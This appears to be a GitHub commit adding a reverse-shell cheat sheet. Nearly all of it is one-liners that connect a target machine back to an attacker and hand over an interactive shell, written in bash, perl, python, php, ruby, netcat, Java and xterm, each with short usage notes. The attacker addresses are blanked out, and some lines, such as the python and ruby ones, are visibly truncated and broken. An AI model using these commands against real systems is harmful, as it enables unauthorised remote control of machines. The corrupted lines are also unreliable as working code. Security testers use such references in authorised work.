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add reverse-shell-cheat-sheet

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tennc committed Nov 6, 2015
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Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/ 0>&1
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
[Untested submission from anonymous reader]
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you ( on TCP port 6001.
xterm -display
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

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